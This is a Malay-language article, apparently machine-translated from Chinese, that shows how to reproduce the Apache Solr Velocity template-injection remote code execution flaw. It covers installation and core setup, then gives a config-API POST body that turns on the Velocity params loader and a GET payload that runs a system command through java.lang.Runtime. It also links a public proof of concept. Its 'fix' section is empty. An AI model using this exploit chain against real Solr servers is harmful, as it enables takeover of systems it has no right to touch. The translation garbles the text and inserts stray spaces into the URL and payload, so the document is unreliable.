Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Contoh analisis tentang kerentanan RCE suntikan templat halaju Apache Solr

Contoh analisis tentang kerentanan RCE suntikan templat halaju Apache Solr

WBOY
WBOYke hadapan
2023-05-19 10:37:13984semak imbas

Pengenalan 0x01

Solr ialah pelayan aplikasi carian bebas peringkat perusahaan yang boleh menyediakan perkhidmatan luaran melalui antara muka API perkhidmatan Web. Pengguna boleh menyerahkan fail XML dalam format tertentu ke pelayan enjin carian melalui permintaan http untuk menjana indeks mereka juga boleh membuat permintaan carian melalui operasi Http Get dan mendapatkan hasil yang dikembalikan dalam format XML. Apache Solr velocity模板注入RCE漏洞的示例分析

Pengenalan Kerentanan 0x02

Komponen VelocityResponseWriter wujud dalam Solr Penyerang boleh membina permintaan khusus untuk mengubah suai konfigurasi yang berkaitan bahawa komponen VelocityResponseWriter membenarkan Memuatkan templat yang ditentukan menyebabkan templat Velocity menyuntik kelemahan pelaksanaan perintah jauh Penyerang boleh menggunakan kelemahan ini untuk mendapatkan kebenaran pelayan secara langsung.

0x03 Skop Kesan

Apache Solr 5.x - 8.2.0, versi API konfigurasi wujud

Pembinaan persekitaran 0x04

Pasang persekitaran java8, dan kemudian muat turun Solr, alamat muat turun:

https://www.apache.org/dyn/closer .lua /lucene/solr/8.2.0/solr-8.2.0.zip

Selepas memuat turun, nyahmampat dan masukkan direktori bin untuk melaksanakan./solr mulakan

nyahzip solr-8.2. 0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

Sesetengah mesej amaran akan muncul semasa permulaan Kami boleh menghapuskannya dengan mengubah suai fail solr.in.sh di bawah tong dan menetapkan SOLR_ULIMIT_CHECKS kepada palsu

<.>vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

Kemudian mulakan semula./solr start Jika root startup gagal, tambah -force pada penghujung

Apache Solr velocity模板注入RCE漏洞的示例分析

Akses http://ip:8983 dalam penyemak imbas, dan antara muka berikut muncul, menunjukkan bahawa pemasangan berjaya

Apache Solr velocity模板注入RCE漏洞的示例分析

Tetapi didapati teras tidak boleh dibuat

Apache Solr velocity模板注入RCE漏洞的示例分析

Kami mula-mula memasangnya secara manual dalam /server/solr Cipta folder new_core dalam direktori /, kemudian salin direktori conf di bawah /server/solr/configsets/_default/ ke direktori new_core, dan kemudian klik Cipta

Apache Solr velocity模板注入RCE漏洞的示例分析

Kerentanan 0x05 muncul semula

Selepas mencipta Teras, lawati untuk melihat sama ada fail konfigurasi aplikasi boleh diakses

http:/ /ip:8983/solr/new_core/config

Apache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr menyepadukan pemalam VelocityResponseWriter secara lalai Nilai lalai params.resource.loader.enabled dalam parameter permulaan pemalam ditetapkan kepada palsu, tetapi tetapan penyepaduan boleh diubah suai terus melalui permintaan POST, menetapkannya kepada benar, dan kemudian Anda boleh membina permintaan GET khas untuk mencapai pelaksanaan kod jauh.

Gunakan Burp untuk mengambil pakej halaman ini, bina permintaan POST secara langsung dan tambah data berikut

{

"update-queryresponsewriter": {

" permulaan": "malas",

"nama": "halaju",

"kelas": "solr.VelocityResponseWriter",

"template. base.dir" : "",

"solr.resource.loader.enabled": "true",

"params.resource.loader.enabled": "true"

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

Seterusnya kita boleh membina muatan untuk melaksanakan RCE

muatan:

http :// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class. forName(% 27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName( %27java. lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream ()) +%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

Alamat POC: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

kaedah pembetulan 0x06>

Atas ialah kandungan terperinci Contoh analisis tentang kerentanan RCE suntikan templat halaju Apache Solr. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam